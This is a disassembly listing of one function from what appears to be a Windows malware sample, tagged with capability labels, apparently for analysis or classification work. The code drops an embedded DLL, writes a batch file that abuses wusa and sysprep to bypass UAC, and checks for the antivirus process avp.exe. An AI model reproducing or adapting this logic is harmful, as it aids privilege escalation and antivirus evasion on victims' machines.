Function at 0x401715
Capabilities:
Check os version
Encode data using xor
Extract resource via kernel32 functions
Get common file path
Parse pe header
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5ac
push ebx
xor ebx, ebx
push esi
push edi
mov byte [ebp - 1], bl
xor eax, eax
mov cl, byte [eax + 0x405218]
xor cl, 0x55
mov byte [ebp + eax - 0x54], cl
inc eax
cmp eax, 0x18
jb 0x401728
lea eax, [ebp - 0x54]
mov byte [ebp - 0x3c], bl
push eax
push ebx
push 2
call sub.KERNEL32.dll_OpenEventA
cmp eax, ebx
je 0x401758
push eax
mov byte [ebp - 1], 1
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [str.wmcserv]
push 0xff
push dword [ebp + 0x10]
mov esi, 0x406380
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], 0x401659
push esi
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x3ff
push 0x405e38
push ebx
call fcn.00403a38
test eax, eax
je 0x401d55
push 0x40637c
push 0x406480
push esi
call fcn.00401d5e
add esp, 0xc
lea eax, [ebp + 0x10]
mov edi, 0x1000
mov esi, section..rsrc
push eax
push 4
push edi
push esi
call fcn.00403a21
lea eax, [ebp + 0x10]
mov dword [0x4070c4], 0xd660
mov dword [0x4070d4], 0x2860
push eax
mov dword [0x4070e4], 0x2a60
push dword [ebp + 0x10]
push edi
push esi
call fcn.00403a21
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x157]
mov byte [ebp - 0x158], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401f39
test al, al
je 0x401a71
cmp dword [0x40637c], 1
jne 0x401a71
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
push str._WIN7
push dword [0x406480]
call esi
pop ecx
test eax, eax
pop ecx
je 0x401865
push 0x405208
push dword [0x406480]
call esi
pop ecx
test eax, eax
pop ecx
je 0x401865
push str.WIN7
push dword [0x406480]
call esi
pop ecx
test eax, eax
pop ecx
jne 0x401a71
mov esi, str.dszqucbtf_eml
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, 0x1010101
movsw word es:[edi], word [esi]
sub dword [ebp - 0x24], eax
sub dword [ebp - 0x20], eax
sub dword [ebp - 0x1c], eax
lea eax, [ebp + 0x10]
push eax
push 0x67
call fcn.004025b5
mov edi, eax
pop ecx
pop ecx
mov esi, 0x104
mov eax, dword [edi + 0x3c]
mov word [edi], 0x5a4d
mov dword [eax + edi], 0x4550
lea eax, [ebp - 0x158]
push eax
push esi
call sub.KERNEL32.dll_GetTempPathA
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x158]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x158]
pop ecx
push eax
call fcn.004038b1
lea eax, [ebp - 0x158]
push ebx
push eax
call fcn.00403a0a
push dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push edi
push eax
call fcn.004039f3
push dword [ebp - 0x14]
call fcn.004039dc
push edi
push ebx
call sub.KERNEL32.dll_GetProcessHeap
push eax
call fcn.004039c5
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x4a7]
mov byte [ebp - 0x4a8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x29f]
mov byte [ebp - 0x2a0], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x158]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x4a8]
push str.makecab.exe___s____s.cab_
push eax
call edi
push 0x44
lea eax, [ebp - 0x19c]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x4c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0x28
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x170], 0x101
push eax
lea eax, [ebp - 0x19c]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
lea eax, [ebp - 0x4a8]
push ebx
push eax
push ebx
call fcn.00403883
lea eax, [ebp - 0x2a0]
push esi
push eax
call fcn.004038f6
lea eax, [ebp - 0x5ac]
push esi
push eax
push ebx
call fcn.00403a38
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x5ac]
push eax
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x4a8]
push str.wusa___s.cab___extract:_sSystem32_sysprep__quiet_r_n__s_system32_sysprep_sysprep.exe____s__r_ndel__s_r_ndel__s.cab
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x158]
mov dword [ebp - 8], ebx
push eax
push esi
call sub.KERNEL32.dll_GetTempPathA
lea eax, [ebp - 0x158]
push str.oout.bat
push eax
call sub.MSVCRT.dll_strcat
pop ecx
lea eax, [ebp - 0x158]
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push eax
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x4a8]
push 0x208
push eax
push esi
call sub.KERNEL32.dll_WriteFile
push esi
call sub.KERNEL32.dll_CloseHandle
lea eax, [ebp - 0x158]
push eax
push str.cmd.exe__c___s_
lea eax, [ebp - 0x4a8]
push eax
call edi
add esp, 0xc
lea eax, [ebp - 0x4a8]
push ebx
push eax
call fcn.00403969
jmp 0x401d55
call fcn.00401000
call fcn.00401f23
test al, al
je 0x401a9e
call fcn.0040107a
push 1
call fcn.00402689
mov dword [esp], str.wmcserv.dll
push 0x406980
call fcn.00403677
pop ecx
pop ecx
cmp dword [0x40637c], ebx
jne 0x401ccc
call fcn.0040270a
test al, al
jne 0x401d55
call fcn.00402951
mov byte [ebp + 0x13], al
call fcn.004029b9
mov dword [ebp - 0x10], eax
call fcn.00402ae5
mov esi, str.avp.exe
mov byte [ebp - 9], al
push esi
call fcn.00402733
cmp byte [ebp - 9], bl
pop ecx
mov dword [ebp - 0x14], eax
jne 0x401afe
cmp byte [ebp - 1], bl
jne 0x401afe
cmp byte [ebp + 0x13], bl
jne 0x401afe
cmp dword [ebp - 0x10], ebx
jne 0x401afe
push 1
call fcn.004013d0
jmp 0x401ccb
mov edi, 0x405110
push 0x2e
push edi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
mov dword [eax], 0x6c6c642e
pop ecx
lea eax, [ebp - 0x2a0]
push 0x104
push eax
push ebx
call fcn.00403a38
cmp dword [ebp - 0x14], ebx
je 0x401b62
push ebx
call fcn.0040302c
cmp byte [ebp + 0x13], bl
pop ecx
je 0x401b62
cmp dword [ebp - 0x10], ebx
jne 0x401b62
call fcn.004028ea
mov dword [ebp - 8], ebx
push esi
call fcn.00402733
test eax, eax
pop ecx
je 0x401b62
push 0xc8
call fcn.0040393b
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x32
jl 0x401b44
lea eax, [ebp - 8]
push eax
push 0x66
call fcn.004025b5
mov esi, eax
pop ecx
pop ecx
mov eax, dword [esi + 0x3c]
mov word [esi], 0x5a4d
push edi
mov dword [eax + esi], 0x4550
call fcn.004038b1
push ebx
push edi
call fcn.00403a0a
push dword [ebp - 8]
mov dword [ebp - 0x28], eax
push esi
push eax
call fcn.004039f3
push dword [ebp - 0x28]
call fcn.004039dc
push esi
push ebx
call sub.KERNEL32.dll_GetProcessHeap
push eax
call fcn.004039c5
push ebx
push edi
call fcn.004039ae
mov esi, 0x4050dc
mov dword [ebp - 8], eax
push esi
push 0x65
push ebx
call sub.KERNEL32.dll_FindResourceA
push eax
push ebx
mov dword [ebp - 0x28], eax
call sub.KERNEL32.dll_LoadResource
push eax
call sub.KERNEL32.dll_LockResource
push dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
push ebx
call sub.KERNEL32.dll_SizeofResource
push eax
push dword [ebp - 0x1c]
push 0x409
push 0x65
push esi
push dword [ebp - 8]
call fcn.00403997
push ebx
push dword [ebp - 8]
call fcn.00403980
mov ecx, dword [0x406984]
lea eax, [ebp - 0x2a0]
push eax
call fcn.0040330e
push 1
pop esi
push esi
push 0xff
push 0x406338
call fcn.00401e56
pop ecx
pop ecx
mov ecx, dword [0x406984]
push eax
push 0x405100
call fcn.00403389
push esi
push 0x21
push 0x40687c
call fcn.00401ec2
pop ecx
pop ecx
mov ecx, dword [0x406984]
push eax
push str.TIME
call fcn.00403389
mov ecx, dword [0x406984]
push edi
call fcn.0040325c
push edi
call fcn.0040390d
push esi
push eax
call sub.KERNEL32.dll_GetProcAddress
cmp eax, ebx
je 0x401cb1
cmp dword [ebp - 0x10], 2
mov dword [ebp - 0x20], str._WKS6d
je 0x401c89
mov dword [ebp - 0x20], 0x405134
lea ecx, [ebp - 0x2a0]
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x20]
push ecx
push 2
push esi
push edi
push dword [0x4053d0]
push dword [0x4053cc]
push dword [0x4053d4]
call eax
add esp, 0x1c
cmp dword [ebp - 0x14], ebx
je 0x401ccc
cmp byte [ebp + 0x13], bl
je 0x401cc5
cmp dword [ebp - 0x10], ebx
jne 0x401cc5
call fcn.00402eee
push esi
call fcn.0040302c
pop ecx
cmp dword [0x40637c], 1
jne 0x401d07
push 0x405130
push dword [0x406480]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x401d07
call fcn.00401f23
test al, al
je 0x401cfe
push ebx
call fcn.0040103b
pop ecx
jmp 0x401d55
lea eax, [ebp - 0x38]
push eax
call fcn.00403827
cmp dword [0x40637c], 2
jne 0x401d55
push 0x405134
push dword [0x406480]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x401d55
push 0x80
push dword [0x406484]
call sub.KERNEL32.dll_SetFileAttributesA
push dword [0x406484]
call fcn.004038b1
test eax, eax
jne 0x401d55
push 0x3e8
call fcn.0040393b
inc ebx
cmp ebx, 0xa
jl 0x401d26
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10